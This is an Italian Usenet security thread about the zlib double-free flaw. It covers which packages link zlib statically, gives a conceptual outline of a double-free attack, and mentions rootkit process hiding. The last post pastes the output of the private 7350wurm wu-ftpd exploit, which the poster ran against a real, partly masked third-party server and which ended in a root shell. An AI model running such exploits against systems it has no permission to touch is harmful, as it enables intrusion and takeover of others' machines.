Newsgroup: it.comp.sicurezza.unix
Titolo: zlib compromessa?

Ma porco qua e porco la...
http://punto-informatico.it/p.asp?i=39394
-- 
Roberto Tagliaferri<-> r.tagliaferri@(forse)
tosnet.it
	Il giovane marito si ammira nudo allo specchio...
	"Vedi cara, con qualche centimetro in più sarei un re"
	e la moglie "e con qualche centimetro di meno saresti una regina!"

 
http://punto-informatico.it/p.asp?i=39394
Ma quanti sono i pacchetti che hanno la zlib linkata staticamente? non 
credo molti, IMHO....
Un HappyCactus poco incline al catastrofismo :/
-- 
HappyCactus - Registered Linux User #209744
http://utenti.tripod.it/happycactus
Made with 100% recycled electrons

 
Io i pacchetti li compilo a manina e quindi so dove posso avere problemi,
ma non so in quanti sono quelli che non ne sanno un tubo!
-- 
Roberto Tagliaferri<-> r.tagliaferri@(forse)
tosnet.it
	1° Cortigiano: "sire, sire: i coccodrilli del fossato hanno fame"
	2° Cortigiano: "sire, sire: le prigioni sono sovraffolate"
	Il Re:"Intravedo una soluzione...."

VNC, no?
"HappyCactus" <happycactus...@desert.nowhere> wrote in message
news:MPG.16f94b05e...@powernews.libero.it...


 VNC, no?
Quotare, no?
In risposta alla tua risposta: non so se sia linkata staticamente, non 
credo ma bisognerebbe verificare... qualcuno l'ha installato e puo' 
verificare?


 verificare?
Si' e' linkata staticamente.

credo molti, IMHO....
kernel e ppp per cominciare... 
almeno per i kernel compilati a mano..
-- 
We hope to extend GNU Emacs into a WYSIWYG desktop publishing
system over the coming years.
Maurizio - Tannoiser - Lemmo
STIGE Srl Servizi Informatici
Founder Member of ERLUG (Emilia Romagna Linux User Group)
http://erlug.linux.it

 kernel e ppp per cominciare... 
A rigore, non sono linkati alla libreria (non avrebbe molto senso), ma 
hanno un file derivato dalla vecchia versione di zlib 1.0.3 che 
comunque e' vulnerabile.


 
debian ha questi pacchetti linkati staticamente
   amaya 2.4-1potato1
   dictd 1.4.9-9potato1
   erlang 49.1-10.1
   freeamp 2.0.6-2.1
   mirrordir 0.10.48-2.1
   ppp 2.3.11-1.5
   rsync 2.3.2-1.6
   vrweb 1.5-5.1
Xvnc ha le librerie linkate dinamicamente (per lo meno nella distribuzione
debian)
 > ldd /usr/X11R6/bin/Xvnc
	libvncauth.so.0 => /usr/lib/libvncauth.so.0 (0x4001a000)
	libz.so.1 => /usr/lib/libz.so.1 (0x4001f000)
	libm.so.6 => /lib/libm.so.6 (0x4002e000)
	libdl.so.2 => /lib/libdl.so.2 (0x4004b000)
	libc.so.6 => /lib/libc.so.6 (0x4004f000)
	/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
mentre quella scaricata dal sito no (!)
 > ldd ~/bin/Xvnc
	libm.so.6 => /lib/libm.so.6 (0x4001a000)
	libdl.so.2 => /lib/libdl.so.2 (0x40038000)
	libc.so.6 => /lib/libc.so.6 (0x4003c000)
	/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
cmq
un paio di considerazioni.
L'errore sta` in una free() di troppo. Un possibile attacco dovrebbe essere
di questo tipo:
1) alloco il blocco A
...
2) dealloco il blocco A
3) alloco il blocco B in posizione di A
4) dealloco di nuovo il blocco A (e quindi libero il blocco B)
5) alloco il blocco C in posizione di B
6) scrivo in B
7) accedo a C, ma in realta` mi sto` puppando i dati B
per me questo tipo di problema ha un'incidenza minima.
e` inoltre, pure trovando un parte di qualche demone afflitta da questo 
problema, il fatto che la gestione in fondo e` dinamica rende difficoltoso
creare degli exploit che funzionino sempre.
Ovviamente qui lo dico e qui lo nego.
Ci sono in giro bachi moolto piu` preoccupanti e facili da exploitare no?
Giorgio

Ci sono in giro bachi moolto piu` preoccupanti e facili da exploitare no?
sicuramente, ma:
better safe than sorry.
ciao.
-- 


 credo molti, IMHO....
I vari BSD tendono ad usare pacchetti statici x evitare alcuni problemi di
sicurezza se non sbaglio.
Ciao
-- 
             -=( |LnZ| )=- Lorenzo Porro
        e-mail: lnz@{aT}
iname.com
        Home-Page: 
http://lnz.cjb.net
	ettercap project: 
http://ettercap.sourceforge.net
 

 Ci sono in giro bachi moolto piu` preoccupanti e facili da exploitare no?
Infatti, anche io non ne sono assolutamente preoccupato. Del resto anche 
il baco recente di wu-ftp, quello relativo al file globbing, era dello 
stesso tipo, piu' pericoloso perche' piu' direttamente correlato 
all'input dell'utente, e cio' nonostante non pare sia ancora stato 
exploitato...
Ovviamente, questo e' solo il mio personalissimo modo di vedere la cosa. 
Aspetto smentite dai fatti...


 sicurezza se non sbaglio.
il linking dinamico infatti consente ad hacker che hanno bucato il sistema
di caricare moduli che "dinamicamente" intercettano le chiamate al kernel e
nascondono alcune informazioni.
Es: dopo aver bucato il sistema si possono tenere in esecuzione dei demoni
del pirata, ma si vuole che ps non li visualizzi... l'intercettazione della
chiamata al kernel della visualizzazione della lista di processi consente il
trucco ;)
prima si faceva in modo più sporco sovrascrivendo le versioni di ls, ps,
dir... con proprie versioni, ma l'avvento dei pacchetti firmati ha di fatto
reso più rischioso (per l'hacker!) questo approccio :)

 reso più rischioso (per l'hacker!) questo approccio :)
Anche oggi si fa cosi'. Infatti ps ed altri tools vanno a leggere nel 
/proc file system, AFAIK, ed esso, per quel che ne so, non e' patchabile 
in quel modo.


 in quel modo.
si, ma due ps, uno originale e uno no, non possono certo avere la stessa
firma (cheksum...)

,
"HappyCactus" <happycactus...@desert.nowhere> ha scritto:

Sul fatto del file globbing x wu-ftpd, mi dispiace, ma devo smentirti !!!
l'exploit c'č funzia bene, ma č privato:
questo č un esempio che ho provato personalmente :
bash# ./7350wu -a -d 202.X.X.X
7350wurm - x86/linux wuftpd <= 2.6.1 remote root (version 0.2.2)
team teso (thx bnuts, tomas, 
synnergy.net
 !).
Compiled for MnM 01/12/2001..pr0t!
# trying to log into 202.X.X.X with (ftp/mozilla@) ... connected.
# banner: 220 
ns.XXXXX.com
 FTP server (Version wu-2.6.1-18) ready.
# successfully selected target from banner
### TARGET: RedHat 7.2 (Enigma) [wu-ftpd-2.6.1-18.i386.rpm]
# 1. filling memory gaps
# 2. sending bigbuf + fakechunk
        building chunk: ([0x08072c30] = 0x08085ab8) in 238 bytes
# 3. triggering free(globlist[1])
#
# exploitation succeeded. sending real shellcode
# sending setreuid/chroot/execve shellcode
# spawning shell
############################################################################
uid=0(root) gid=0(root) groups=50(ftp)
Linux 
ns.XXXXX.com
 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown